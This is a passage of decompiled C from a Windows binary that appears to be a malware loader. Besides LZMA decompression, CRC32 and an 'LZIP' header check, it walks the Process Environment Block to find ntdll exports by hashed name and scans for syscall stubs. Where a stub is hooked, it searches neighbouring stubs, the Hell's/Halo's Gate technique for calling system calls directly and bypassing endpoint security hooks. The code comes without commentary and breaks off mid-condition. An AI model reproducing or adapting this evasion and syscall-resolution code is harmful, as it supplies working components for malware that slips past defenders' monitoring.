    while (iVar2 != 0x112) {
      if (*(int *)(param_1 + 0x60) != 0) {
        while ((uVar8 != 0 && (*(uint *)(param_1 + 0x6c) < 5))) {
          uVar15 = uVar15 + 1;
          bVar1 = *pbVar16;
          pbVar16 = pbVar16 + 1;
          param_1[(ulonglong)*(uint *)(param_1 + 0x6c) + 0x70] = bVar1;
          *(int *)(param_1 + 0x6c) = *(int *)(param_1 + 0x6c) + 1;
          uVar8 = uVar8 - 1;
        }
        if (*(uint *)(param_1 + 0x6c) < 5) {
          bVar17 = false;
          *param_7 = 3;
        }
        else {
          if (param_1[0x70] == '\0') {
            param_1[0x28] = -1;
            param_1[0x29] = -1;
            param_1[0x2a] = -1;
            param_1[0x2b] = -1;
            *(uint *)(param_1 + 0x2c) =
                 CONCAT31(CONCAT21(CONCAT11(param_1[0x71],param_1[0x72]),param_1[0x73]),
                          param_1[0x74]);
            param_1[0x60] = '\0';
            param_1[0x61] = '\0';
            param_1[0x62] = '\0';
            param_1[99] = '\0';
            param_1[0x6c] = '\0';
            param_1[0x6d] = '\0';
            param_1[0x6e] = '\0';
            param_1[0x6f] = '\0';
            goto LAB_1400037a6;
          }
LAB_14000397c:
          bVar17 = true;
        }
        goto LAB_1400039f0;
      }
LAB_1400037a6:
      bVar17 = false;
      if (uVar11 <= *(ulonglong *)(param_1 + 0x30)) {
        if ((*(int *)(param_1 + 0x5c) == 0) && (*(int *)(param_1 + 0x2c) == 0)) {
          bVar17 = false;
          *param_7 = 4;
        }
        else {
          if ((int)uVar13 != 0) {
            if (*(int *)(param_1 + 0x5c) == 0) {
              bVar17 = true;
              goto LAB_1400037d3;
            }
LAB_14000396e:
            *param_7 = 2;
            goto LAB_14000397c;
          }
          bVar17 = false;
          *param_7 = 2;
        }
        goto LAB_1400039f0;
      }
LAB_1400037d3:
      if (*(int *)(param_1 + 100) != 0) {
        puVar14 = *(undefined2 **)(param_1 + 0x10);
        for (uVar5 = (ulonglong)
                     ((0x300 << ((char)*(undefined4 *)(param_1 + 4) + (char)*(undefined4 *)param_1 &
                                0x1fU)) + 0x736); uVar5 != 0; uVar5 = uVar5 - 1) {
          *puVar14 = 0x400;
          puVar14 = puVar14 + 1;
        }
        param_1[0x58] = '\x01';
        param_1[0x59] = '\0';
        param_1[0x5a] = '\0';
        param_1[0x5b] = '\0';
        param_1[0x54] = '\x01';
        param_1[0x55] = '\0';
        param_1[0x56] = '\0';
        param_1[0x57] = '\0';
        param_1[0x50] = '\x01';
        param_1[0x51] = '\0';
        param_1[0x52] = '\0';
        param_1[0x53] = '\0';
        param_1[0x4c] = '\x01';
        param_1[0x4d] = '\0';
        param_1[0x4e] = '\0';
        param_1[0x4f] = '\0';
        param_1[0x48] = '\0';
        param_1[0x49] = '\0';
        param_1[0x4a] = '\0';
        param_1[0x4b] = '\0';
        param_1[100] = '\0';
        param_1[0x65] = '\0';
        param_1[0x66] = '\0';
        param_1[0x67] = '\0';
      }
      uVar12 = *(uint *)(param_1 + 0x6c);
      uVar5 = (ulonglong)uVar12;
      if (uVar12 == 0) {
        if ((uVar8 < 0x14) || (bVar17)) {
          uVar4 = FUN_140003b00(param_1,pbVar16,uVar8);
          if ((int)uVar4 == 0) {
            FUN_1400010d0((longlong)(param_1 + 0x70),(longlong)pbVar16,uVar8);
            *(int *)(param_1 + 0x6c) = (int)uVar8;
LAB_1400039b5:
            uVar15 = uVar15 + uVar8;
            bVar17 = false;
            *param_7 = 3;
            goto LAB_1400039f0;
          }
          pbVar6 = pbVar16;
          if ((bVar17) && ((int)uVar4 != 2)) goto LAB_14000396e;
        }
        else {
          pbVar6 = pbVar16 + (uVar8 - 0x14);
        }
        *(byte **)(param_1 + 0x20) = pbVar16;
        uVar4 = FUN_1400035d0((undefined4 *)param_1,uVar11,pbVar6);
        if ((int)uVar4 != 0) goto LAB_14000397c;
        uVar5 = *(longlong *)(param_1 + 0x20) - (longlong)pbVar16;
        pbVar16 = *(byte **)(param_1 + 0x20);
      }
      else {
        uVar10 = 0;
        uVar9 = 0;
        if (uVar12 < 0x14) {
          pbVar6 = (byte *)(param_1 + uVar5 + 0x70);
          do {
            uVar9 = (uint)uVar10;
            if (uVar8 <= uVar10) break;
            uVar12 = (int)uVar5 + 1;
            uVar5 = (ulonglong)uVar12;
            *pbVar6 = pbVar16[uVar10];
            uVar9 = uVar9 + 1;
            uVar10 = (ulonglong)uVar9;
            pbVar6 = pbVar6 + 1;
          } while (uVar12 < 0x14);
        }
        uVar12 = (uint)uVar5;
        *(uint *)(param_1 + 0x6c) = uVar12;
        if ((uVar12 < 0x14) || (bVar17)) {
          uVar4 = FUN_140003b00(param_1,(byte *)(param_1 + 0x70),uVar5);
          if ((int)uVar4 == 0) {
            uVar8 = (ulonglong)uVar9;
            goto LAB_1400039b5;
          }
          if ((bVar17) && ((int)uVar4 != 2)) goto LAB_14000396e;
        }
        *(char **)(param_1 + 0x20) = param_1 + 0x70;
        uVar4 = FUN_1400035d0((undefined4 *)param_1,uVar11,(byte *)(param_1 + 0x70));
        if ((int)uVar4 != 0) goto LAB_14000397c;
        uVar5 = (ulonglong)((uVar9 - 0x70) + ((*(int *)(param_1 + 0x20) - uVar12) - (int)param_1));
        pbVar16 = pbVar16 + uVar5;
        param_1[0x6c] = '\0';
        param_1[0x6d] = '\0';
        param_1[0x6e] = '\0';
        param_1[0x6f] = '\0';
      }
      uVar8 = uVar8 - uVar5;
      uVar15 = uVar15 + uVar5;
      iVar2 = *(int *)(param_1 + 0x5c);
    }
    if (*(int *)(param_1 + 0x2c) == 0) {
      *param_7 = 1;
    }
    bVar17 = *(int *)(param_1 + 0x2c) != 0;
LAB_1400039f0:
    local_68 = local_68 - uVar15;
    local_res20 = local_res20 + uVar15;
    *param_5 = *param_5 + uVar15;
    uVar11 = *(longlong *)(param_1 + 0x30) - uVar3;
    FUN_1400010d0(local_res10,*(longlong *)(param_1 + 0x18) + uVar3,uVar11);
    local_res10 = local_res10 + uVar11;
    uVar7 = uVar7 - uVar11;
    *param_3 = *param_3 + uVar11;
    if (bVar17) {
      return bVar17;
    }
    if ((uVar11 == 0) || (uVar7 == 0)) {
      return false;
    }
  } while( true );
}



void FUN_140003aa0(longlong param_1,longlong param_2)

{
  (**(code **)(param_2 + 8))(param_2,*(undefined8 *)(param_1 + 0x10));
  *(undefined8 *)(param_1 + 0x10) = 0;
  (**(code **)(param_2 + 8))(param_2,*(undefined8 *)(param_1 + 0x18));
  *(undefined8 *)(param_1 + 0x18) = 0;
  return;
}



void FUN_140003ae0(longlong param_1)

{
  *(undefined4 *)(param_1 + 0x60) = 1;
  *(undefined8 *)(param_1 + 0x30) = 0;
  *(undefined4 *)(param_1 + 0x5c) = 0;
  *(undefined4 *)(param_1 + 0x6c) = 0;
  *(undefined8 *)(param_1 + 0x40) = 0;
  *(undefined4 *)(param_1 + 100) = 1;
  return;
}



undefined8 FUN_140003b00(char *param_1,byte *param_2,longlong param_3)

{
  byte *pbVar1;
  uint uVar2;
  undefined8 uVar3;
  uint uVar4;
  uint uVar5;
  uint uVar6;
  ulonglong uVar7;
  uint uVar8;
  uint uVar9;
  longlong lVar10;
  uint uVar11;
  uint uVar12;
  int iVar13;
  longlong lVar14;
  ulonglong uVar15;
  longlong lVar16;
  
  uVar11 = *(uint *)(param_1 + 0x28);
  pbVar1 = param_2 + param_3;
  lVar10 = *(longlong *)(param_1 + 0x10);
  uVar5 = *(uint *)(param_1 + 0x48);
  uVar7 = (ulonglong)uVar5;
  uVar15 = 1;
  uVar9 = *(uint *)(param_1 + 0x40);
  uVar2 = *(uint *)(param_1 + 0x2c);
  uVar12 = 1;
  uVar8 = (1 << ((byte)*(undefined4 *)(param_1 + 8) & 0x1f)) - 1U & uVar9;
  lVar16 = (ulonglong)(uVar5 << 4) + (ulonglong)uVar8;
  if (uVar11 < 0x1000000) {
    if (pbVar1 <= param_2) {
      return 0;
    }
    uVar2 = uVar2 << 8 | (uint)*param_2;
    uVar11 = uVar11 << 8;
    param_2 = param_2 + 1;
  }
  uVar4 = (uVar11 >> 0xb) * (uint)*(ushort *)(lVar10 + lVar16 * 2);
  if (uVar2 < uVar4) {
    lVar10 = lVar10 + 0xe6c;
    if ((*(int *)(param_1 + 0x44) != 0) || (uVar9 != 0)) {
      lVar16 = *(longlong *)(param_1 + 0x30);
      if (lVar16 == 0) {
        lVar16 = *(longlong *)(param_1 + 0x38);
      }
      lVar10 = lVar10 + (ulonglong)
                        (((uint)(*(byte *)(lVar16 + -1 + *(longlong *)(param_1 + 0x18)) >>
                                (8U - *param_1 & 0x1f)) +
                         (((1 << ((byte)*(undefined4 *)(param_1 + 4) & 0x1f)) - 1U & uVar9) <<
                         ((byte)*(undefined4 *)param_1 & 0x1f))) * 0x300) * 2;
    }
    lVar16 = 0;
    if (uVar5 < 7) {
      uVar7 = 1;
      do {
        if (uVar4 < 0x1000000) {
          if (pbVar1 <= param_2) {
            return 0;
          }
          uVar2 = uVar2 << 8 | (uint)*param_2;
          uVar4 = uVar4 << 8;
          param_2 = param_2 + 1;
        }
        uVar11 = (int)uVar7 * 2;
        uVar5 = (uVar4 >> 0xb) * (uint)*(ushort *)(lVar10 + uVar7 * 2);
        if (uVar5 <= uVar2) {
          uVar2 = uVar2 - uVar5;
          uVar11 = uVar11 + 1;
          uVar5 = uVar4 - uVar5;
        }
        uVar4 = uVar5;
        uVar7 = (ulonglong)uVar11;
      } while (uVar11 < 0x100);
    }
    else {
      if (*(ulonglong *)(param_1 + 0x30) < (ulonglong)*(uint *)(param_1 + 0x4c)) {
        lVar16 = *(longlong *)(param_1 + 0x38);
      }
      uVar5 = 0x100;
      uVar7 = 1;
      uVar11 = (uint)*(byte *)((*(ulonglong *)(param_1 + 0x30) -
                               (ulonglong)*(uint *)(param_1 + 0x4c)) + lVar16 +
                              *(longlong *)(param_1 + 0x18));
      while( true ) {
        uVar11 = uVar11 * 2;
        uVar9 = uVar5 & uVar11;
        if (uVar4 < 0x1000000) {
          if (pbVar1 <= param_2) {
            return 0;
          }
          uVar2 = uVar2 << 8 | (uint)*param_2;
          uVar4 = uVar4 << 8;
          param_2 = param_2 + 1;
        }
        uVar12 = (int)uVar7 * 2;
        uVar8 = (uVar4 >> 0xb) * (uint)*(ushort *)(lVar10 + (uVar9 + uVar7 + (ulonglong)uVar5) * 2);
        if (uVar2 < uVar8) {
          uVar9 = ~uVar9;
          uVar4 = uVar8;
        }
        else {
          uVar4 = uVar4 - uVar8;
          uVar2 = uVar2 - uVar8;
          uVar12 = uVar12 + 1;
        }
        uVar7 = (ulonglong)uVar12;
        if (0xff < uVar12) break;
        uVar5 = uVar5 & uVar9;
      }
    }
    uVar3 = 1;
    goto LAB_1400040dc;
  }
  uVar11 = uVar11 - uVar4;
  uVar2 = uVar2 - uVar4;
  if (uVar11 < 0x1000000) {
    if (pbVar1 <= param_2) {
      return 0;
    }
    uVar2 = uVar2 * 0x100 | (uint)*param_2;
    uVar11 = uVar11 * 0x100;
    param_2 = param_2 + 1;
  }
  uVar9 = 0;
  uVar5 = (uVar11 >> 0xb) * (uint)*(ushort *)(lVar10 + 0x180 + uVar7 * 2);
  if (uVar2 < uVar5) {
    uVar3 = 2;
    lVar16 = 0x664;
    uVar11 = uVar9;
  }
  else {
    uVar11 = uVar11 - uVar5;
    uVar2 = uVar2 - uVar5;
    uVar3 = 3;
    if (uVar11 < 0x1000000) {
      if (pbVar1 <= param_2) {
        return 0;
      }
      uVar2 = uVar2 * 0x100 | (uint)*param_2;
      uVar11 = uVar11 * 0x100;
      param_2 = param_2 + 1;
    }
    uVar4 = (uVar11 >> 0xb) * (uint)*(ushort *)(lVar10 + 0x198 + uVar7 * 2);
    if (uVar2 < uVar4) {
      if (uVar4 < 0x1000000) {
        if (pbVar1 <= param_2) {
          return 0;
        }
        uVar2 = uVar2 << 8 | (uint)*param_2;
        uVar4 = uVar4 * 0x100;
        param_2 = param_2 + 1;
      }
      uVar11 = (uVar4 >> 0xb) * (uint)*(ushort *)(lVar10 + 0x1e0 + lVar16 * 2);
      if (uVar2 < uVar11) {
        if ((uVar11 < 0x1000000) && (pbVar1 <= param_2)) {
          return 0;
        }
        return 3;
      }
LAB_140003e64:
      uVar5 = uVar4 - uVar11;
      uVar2 = uVar2 - uVar11;
    }
    else {
      uVar11 = uVar11 - uVar4;
      uVar2 = uVar2 - uVar4;
      if (uVar11 < 0x1000000) {
        if (pbVar1 <= param_2) {
          return 0;
        }
        uVar2 = uVar2 * 0x100 | (uint)*param_2;
        uVar11 = uVar11 * 0x100;
        param_2 = param_2 + 1;
      }
      uVar5 = (uVar11 >> 0xb) * (uint)*(ushort *)(lVar10 + 0x1b0 + uVar7 * 2);
      if (uVar5 <= uVar2) {
        uVar4 = uVar11 - uVar5;
        uVar2 = uVar2 - uVar5;
        if (uVar4 < 0x1000000) {
          if (pbVar1 <= param_2) {
            return 0;
          }
          uVar2 = uVar2 * 0x100 | (uint)*param_2;
          uVar4 = uVar4 * 0x100;
          param_2 = param_2 + 1;
        }
        uVar5 = (uVar4 >> 0xb) * (uint)*(ushort *)(lVar10 + 0x1c8 + uVar7 * 2);
        uVar11 = uVar5;
        if (uVar5 <= uVar2) goto LAB_140003e64;
      }
    }
    lVar16 = 0xa68;
    uVar11 = 0xc;
  }
  lVar14 = lVar16 + lVar10;
  if (uVar5 < 0x1000000) {
    if (pbVar1 <= param_2) {
      return 0;
    }
    uVar2 = uVar2 << 8 | (uint)*param_2;
    uVar5 = uVar5 << 8;
    param_2 = param_2 + 1;
  }
  uVar6 = (uVar5 >> 0xb) * (uint)*(ushort *)(lVar16 + lVar10);
  if (uVar2 < uVar6) {
    uVar5 = 8;
    lVar14 = lVar14 + ((ulonglong)(uVar8 * 8) + 2) * 2;
  }
  else {
    uVar5 = uVar5 - uVar6;
    uVar2 = uVar2 - uVar6;
    if (uVar5 < 0x1000000) {
      if (pbVar1 <= param_2) {
        return 0;
      }
      uVar2 = uVar2 * 0x100 | (uint)*param_2;
      uVar5 = uVar5 * 0x100;
      param_2 = param_2 + 1;
    }
    uVar4 = (uVar5 >> 0xb) * (uint)*(ushort *)(lVar14 + 2);
    if (uVar2 < uVar4) {
      uVar5 = 8;
      lVar14 = lVar14 + ((ulonglong)(uVar8 * 8) + 0x82) * 2;
      uVar9 = 8;
      uVar6 = uVar4;
    }
    else {
      uVar6 = uVar5 - uVar4;
      lVar14 = lVar14 + 0x204;
      uVar2 = uVar2 - uVar4;
      uVar9 = 0x10;
      uVar5 = 0x100;
    }
  }
  do {
    uVar7 = (ulonglong)uVar12;
    if (uVar6 < 0x1000000) {
      if (pbVar1 <= param_2) {
        return 0;
      }
      uVar2 = uVar2 << 8 | (uint)*param_2;
      uVar6 = uVar6 << 8;
      param_2 = param_2 + 1;
    }
    uVar12 = uVar12 * 2;
    uVar4 = (uVar6 >> 0xb) * (uint)*(ushort *)(lVar14 + uVar7 * 2);
    if (uVar4 <= uVar2) {
      uVar2 = uVar2 - uVar4;
      uVar12 = uVar12 + 1;
      uVar4 = uVar6 - uVar4;
    }
    uVar6 = uVar4;
  } while (uVar12 < uVar5);
  uVar12 = uVar12 + (uVar9 - uVar5);
  if (uVar11 < 4) {
    uVar7 = 1;
    uVar11 = 3;
    if (uVar12 < 4) {
      uVar11 = uVar12;
    }
    do {
      uVar5 = uVar4;
      if (uVar4 < 0x1000000) {
        if (pbVar1 <= param_2) {
          return 0;
        }
        uVar2 = uVar2 << 8 | (uint)*param_2;
        uVar5 = uVar4 << 8;
        param_2 = param_2 + 1;
      }
      uVar9 = (int)uVar7 * 2;
      uVar4 = (uVar5 >> 0xb) *
              (uint)*(ushort *)((ulonglong)(uVar11 << 6) * 2 + lVar10 + 0x360 + uVar7 * 2);
      if (uVar4 <= uVar2) {
        uVar2 = uVar2 - uVar4;
        uVar9 = uVar9 + 1;
        uVar4 = uVar5 - uVar4;
      }
      uVar7 = (ulonglong)uVar9;
    } while (uVar9 < 0x40);
    uVar9 = uVar9 - 0x40;
    if (3 < uVar9) {
      iVar13 = (uVar9 >> 1) - 1;
      if (uVar9 < 0xe) {
        lVar10 = lVar10 + 0x55e +
                 ((ulonglong)((uVar9 & 1 | 2) << ((byte)iVar13 & 0x1f)) - (ulonglong)uVar9) * 2;
      }
      else {
        iVar13 = (uVar9 >> 1) - 5;
        do {
          if (uVar4 < 0x1000000) {
            if (pbVar1 <= param_2) {
              return 0;
            }
            uVar2 = uVar2 << 8 | (uint)*param_2;
            uVar4 = uVar4 << 8;
            param_2 = param_2 + 1;
          }
          uVar4 = uVar4 >> 1;
          uVar2 = uVar2 - (0xffffffffU - ((int)(uVar2 - uVar4) >> 0x1f) & uVar4);
          iVar13 = iVar13 + -1;
        } while (iVar13 != 0);
        lVar10 = lVar10 + 0x644;
        iVar13 = 4;
      }
      do {
        uVar11 = uVar4;
        if (uVar4 < 0x1000000) {
          if (pbVar1 <= param_2) {
            return 0;
          }
          uVar2 = uVar2 << 8 | (uint)*param_2;
          uVar11 = uVar4 << 8;
          param_2 = param_2 + 1;
        }
        uVar5 = (int)uVar15 * 2;
        uVar4 = (uVar11 >> 0xb) * (uint)*(ushort *)(lVar10 + uVar15 * 2);
        if (uVar4 <= uVar2) {
          uVar2 = uVar2 - uVar4;
          uVar5 = uVar5 + 1;
          uVar4 = uVar11 - uVar4;
        }
        uVar15 = (ulonglong)uVar5;
        iVar13 = iVar13 + -1;
      } while (iVar13 != 0);
    }
  }
LAB_1400040dc:
  if ((uVar4 < 0x1000000) && (pbVar1 <= param_2)) {
    uVar3 = 0;
  }
  return uVar3;
}



void FUN_140004110(longlong param_1,longlong param_2)

{
  uint uVar1;
  uint uVar2;
  longlong lVar3;
  longlong lVar4;
  longlong lVar5;
  uint uVar6;
  ulonglong uVar7;
  ulonglong uVar8;
  
  uVar1 = *(uint *)(param_1 + 0x5c);
  uVar7 = (ulonglong)uVar1;
  if (uVar1 - 1 < 0x111) {
    lVar3 = *(longlong *)(param_1 + 0x18);
    uVar8 = *(ulonglong *)(param_1 + 0x30);
    uVar2 = *(uint *)(param_1 + 0x4c);
    lVar4 = *(longlong *)(param_1 + 0x38);
    if (param_2 - uVar8 < uVar7) {
      uVar7 = (ulonglong)(uint)((int)param_2 - (int)uVar8);
    }
    uVar6 = (uint)uVar7;
    if ((*(int *)(param_1 + 0x44) == 0) &&
       ((uint)(*(int *)(param_1 + 0xc) - *(int *)(param_1 + 0x40)) <= uVar6)) {
      *(int *)(param_1 + 0x44) = *(int *)(param_1 + 0xc);
    }
    *(int *)(param_1 + 0x40) = *(int *)(param_1 + 0x40) + uVar6;
    *(uint *)(param_1 + 0x5c) = uVar1 - uVar6;
    while (uVar6 != 0) {
      lVar5 = 0;
      if (uVar8 < uVar2) {
        lVar5 = lVar4;
      }
      *(undefined *)(uVar8 + lVar3) = *(undefined *)((lVar5 - (ulonglong)uVar2) + uVar8 + lVar3);
      uVar8 = uVar8 + 1;
      uVar6 = (int)uVar7 - 1;
      uVar7 = (ulonglong)uVar6;
    }
    *(ulonglong *)(param_1 + 0x30) = uVar8;
  }
  return;
}



void FUN_1400041c0(void)

{
  uint uVar1;
  uint uVar2;
  uint uVar3;
  uint *puVar4;
  
  uVar3 = 0;
  puVar4 = &DAT_1400070a0;
  do {
    uVar2 = uVar3 & 1;
    uVar1 = uVar3 >> 1;
    uVar3 = uVar3 + 1;
    uVar1 = -uVar2 & 0xedb88320 ^ uVar1;
    uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
    uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
    uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
    uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
    uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
    uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
    *puVar4 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
    puVar4 = puVar4 + 1;
  } while (uVar3 < 0x100);
  return;
}



uint FUN_140004270(uint param_1,byte *param_2,longlong param_3)

{
  byte bVar1;
  
  if (param_3 != 0) {
    do {
      bVar1 = *param_2;
      param_2 = param_2 + 1;
      param_1 = param_1 >> 8 ^ (&DAT_1400070a0)[(bVar1 ^ param_1) & 0xff];
      param_3 = param_3 + -1;
    } while (param_3 != 0);
  }
  return param_1;
}



void FUN_1400042f0(undefined8 *param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4,
                  undefined8 param_5)

{
  param_1[2] = param_2;
  *param_1 = &LAB_1400042b0;
  param_1[1] = &LAB_1400042d0;
  param_1[5] = param_5;
  param_1[3] = param_3;
  param_1[4] = param_4;
  return;
}



void FUN_140004330(undefined4 *param_1)

{
  *param_1 = 0xd;
  *(undefined **)(param_1 + 2) = &LAB_140004320;
  *(undefined **)(param_1 + 4) = &LAB_140004370;
  *(undefined **)(param_1 + 6) = &LAB_140004510;
  param_1[8] = 0;
  *(undefined8 *)(param_1 + 10) = 0;
  return;
}



void FUN_140004600(undefined4 *param_1)

{
  *param_1 = 6;
  *(undefined **)(param_1 + 2) = &LAB_140004320;
  *(code **)(param_1 + 4) = FUN_140004710;
  *(undefined **)(param_1 + 6) = &LAB_1400047f0;
  *(undefined **)(param_1 + 10) = &LAB_140004780;
  *(undefined **)(param_1 + 0xc) = &LAB_140004650;
  param_1[8] = 0xc;
  return;
}



undefined8 FUN_140004710(char *param_1,undefined4 *param_2)

{
  int iVar1;
  
  iVar1 = strncmp("LZIP",param_1,4);
  if (iVar1 != 0) {
    return 1;
  }
  *param_2 = 0x1030002;
  *(undefined8 *)(param_2 + 2) = 0;
  param_2[4] = 1 << (param_1[5] & 0x1fU);
  return 0;
}



// WARNING: Globals starting with '_' overlap smaller symbols at the same address

undefined8 FUN_140004830(int param_1,undefined4 *param_2)

{
  undefined8 uVar1;
  
  if ((param_1 == 0) || (param_2 == (undefined4 *)0x0)) {
    uVar1 = 0;
  }
  else {
    FUN_140005050(param_1);
    DAT_140007020 = *param_2;
    DAT_140007024 = param_2[1];
    _DAT_140007028 = param_2[2];
    DAT_14000702c = param_2[3];
    DAT_140007030 = param_2[4];
    DAT_140007034 = param_2[5];
    _DAT_140007038 = param_2[6];
    uVar1 = 1;
  }
  return uVar1;
}



longlong FUN_1400048d0(longlong param_1,longlong param_2,longlong param_3,undefined8 param_4,
                      undefined8 param_5,undefined4 *param_6)

{
  ushort uVar1;
  undefined4 uVar2;
  undefined8 uVar3;
  longlong local_28;
  
  if (param_3 == 0) {
    local_28 = 0;
  }
  else {
    uVar3 = FUN_140005060(DAT_140007020);
    if ((int)uVar3 == 0) {
      local_28 = 0;
    }
    else {
      local_28 = 0;
      if (param_2 != 0) {
        local_28 = param_2;
      }
      uVar1 = FUN_1400056c0();
      FUN_1400056d0((uint)uVar1);
      uVar2 = FUN_1400056e1();
      if (param_6 != (undefined4 *)0x0) {
        *param_6 = uVar2;
      }
    }
  }
  return local_28;
}



void FUN_140004a00(longlong param_1,undefined4 *param_2)

{
  uint in_stack_ffffffffffffffec;
  
  FUN_1400048d0(0,0,param_1,0,(ulonglong)in_stack_ffffffffffffffec << 0x20,param_2);
  return;
}



longlong FUN_140004a40(longlong param_1,longlong param_2,longlong param_3,undefined8 param_4,
                      undefined8 param_5,undefined4 *param_6)

{
  ushort uVar1;
  undefined4 uVar2;
  undefined8 uVar3;
  longlong local_48;
  
  if (param_1 == 0) {
    local_48 = 0;
  }
  else {
    uVar3 = FUN_140005060(DAT_140007030);
    if ((int)uVar3 == 0) {
      local_48 = 0;
    }
    else {
      local_48 = 0;
      if (param_3 != 0) {
        local_48 = param_3;
      }
      uVar1 = FUN_1400056c0();
      FUN_1400056d0((uint)uVar1);
      uVar2 = FUN_1400056e1();
      if (param_6 != (undefined4 *)0x0) {
        *param_6 = uVar2;
      }
    }
  }
  return local_48;
}



undefined8 FUN_140004bd0(undefined8 param_1,longlong param_2,undefined4 *param_3)

{
  ushort uVar1;
  undefined4 uVar2;
  undefined8 uVar3;
  
  if ((param_2 != 0) && (uVar3 = FUN_140005060(DAT_14000702c), (int)uVar3 != 0)) {
    uVar1 = FUN_1400056c0();
    FUN_1400056d0((uint)uVar1);
    uVar2 = FUN_1400056e1();
    if (param_3 != (undefined4 *)0x0) {
      *param_3 = uVar2;
    }
  }
  return 0xffffffffffffffff;
}



undefined4
FUN_140004c70(longlong param_1,longlong param_2,longlong param_3,int param_4,undefined4 *param_5)

{
  ushort uVar1;
  undefined4 uVar2;
  undefined8 uVar3;
  
  if ((((param_2 != 0) && (param_3 != 0)) && (param_4 != 0)) &&
     (uVar3 = FUN_140005060(DAT_140007024), (int)uVar3 != 0)) {
    uVar1 = FUN_1400056c0();
    FUN_1400056d0((uint)uVar1);
    uVar2 = FUN_1400056e1();
    if (param_5 != (undefined4 *)0x0) {
      *param_5 = uVar2;
    }
  }
  return 0;
}



void FUN_140004d60(longlong param_1,longlong param_2,undefined4 *param_3)

{
  ushort uVar1;
  undefined4 uVar2;
  undefined8 uVar3;
  
  if ((param_2 != 0) && (uVar3 = FUN_140005060(DAT_140007034), (int)uVar3 != 0)) {
    uVar1 = FUN_1400056c0();
    FUN_1400056d0((uint)uVar1);
    uVar2 = FUN_1400056e1();
    if (param_3 != (undefined4 *)0x0) {
      *param_3 = uVar2;
    }
  }
  return;
}



uint FUN_140004df0(char *param_1)

{
  char cVar1;
  ulonglong uVar2;
  int local_28;
  uint local_24;
  
  local_24 = 0;
  local_28 = 0;
  while( true ) {
    uVar2 = FUN_140005680(param_1);
    if (uVar2 <= (ulonglong)(longlong)local_28) break;
    cVar1 = param_1[local_28];
    local_24 = FUN_140004e70(local_24,(byte)DAT_140007040);
    local_24 = (int)cVar1 + local_24;
    local_28 = local_28 + 1;
  }
  return local_24;
}



uint FUN_140004e70(uint param_1,byte param_2)

{
  return param_1 >> (param_2 & 0x1f) | param_1 << (-(param_2 & 0x1f) & 0x1f);
}



// WARNING: Globals starting with '_' overlap smaller symbols at the same address

undefined8 FUN_140004ec0(void)

{
  short *psVar1;
  undefined8 uVar2;
  int *piVar3;
  longlong lVar4;
  
  if ((ProcessEnvironmentBlock == (void *)0x0) ||
     (*(int *)((longlong)ProcessEnvironmentBlock + 0x118) != 10)) {
    uVar2 = 0;
  }
  else {
    psVar1 = *(short **)
              (**(longlong **)(*(longlong *)((longlong)ProcessEnvironmentBlock + 0x18) + 0x20) +
              0x20);
    if (psVar1 == (short *)0x0) {
      uVar2 = 0;
    }
    else if (*psVar1 == 0x5a4d) {
      piVar3 = (int *)((longlong)psVar1 + (longlong)*(int *)(psVar1 + 0x1e));
      if (*piVar3 == 0x4550) {
        lVar4 = (longlong)psVar1 + (ulonglong)(uint)piVar3[0x22];
        if (lVar4 == 0) {
          uVar2 = 0;
        }
        else {
          DAT_140007080 = (longlong)psVar1 + (ulonglong)*(uint *)(lVar4 + 0x1c);
          DAT_140007088 = (longlong)psVar1 + (ulonglong)*(uint *)(lVar4 + 0x20);
          DAT_140007090 = (longlong)psVar1 + (ulonglong)*(uint *)(lVar4 + 0x24);
          uVar2 = 1;
          DAT_140007060 = psVar1;
          _DAT_140007068 = psVar1;
          _DAT_140007070 = piVar3;
          DAT_140007078 = lVar4;
        }
      }
      else {
        uVar2 = 0;
      }
    }
    else {
      uVar2 = 0;
    }
  }
  return uVar2;
}



void FUN_140005050(undefined4 param_1)

{
  DAT_140007040 = param_1;
  return;
}



// WARNING: Globals starting with '_' overlap smaller symbols at the same address

undefined8 FUN_140005060(uint param_1)

{
  uint uVar1;
  undefined8 uVar2;
  char *pcVar3;
  ushort local_38;
  ushort local_34;
  ushort local_28;
  
  if (param_1 == 0) {
    return 0;
  }
  if (((((DAT_140007060 == 0) || (DAT_140007080 == 0)) || (DAT_140007088 == 0)) ||
      (DAT_140007090 == 0)) && (uVar2 = FUN_140004ec0(), (int)uVar2 == 0)) {
    return 0;
  }
  local_28 = 0;
  do {
    if (*(uint *)(DAT_140007078 + 0x18) <= (uint)local_28) {
      return 0;
    }
    pcVar3 = (char *)(DAT_140007060 +
                     (ulonglong)
                     *(uint *)(DAT_140007080 +
                              (ulonglong)*(ushort *)(DAT_140007090 + (ulonglong)local_28 * 2) * 4));
    uVar1 = FUN_140004df0((char *)(DAT_140007060 +
                                  (ulonglong)*(uint *)(DAT_140007088 + (ulonglong)local_28 * 4)));
    if (uVar1 == param_1) {
      if ((((*pcVar3 == 'L') && (pcVar3[1] == -0x75)) &&
          ((pcVar3[2] == -0x2f && ((pcVar3[3] == -0x48 && (pcVar3[6] == '\0')))))) &&
         (pcVar3[7] == '\0')) {
        _DAT_140007048 = pcVar3;
        DAT_140007058 = *(undefined2 *)(pcVar3 + 4);
        return 1;
      }
      if (*pcVar3 == -0x17) {
        local_38 = 1;
        while( true ) {
          if (500 < local_38) {
            _DAT_140007048 = pcVar3;
            return 0;
          }
          if (((((pcVar3[(int)((uint)local_38 * 0x20)] == 'L') &&
                (pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 1] == -0x75)) &&
               (pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 2] == -0x2f)) &&
              ((pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 3] == -0x48 &&
               (pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 6] == '\0')))) &&
             (pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 7] == '\0')) break;
          if (((pcVar3[(int)((uint)local_38 * -0x20)] == 'L') &&
              (pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 1] == -0x75)) &&
             ((pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 2] == -0x2f &&
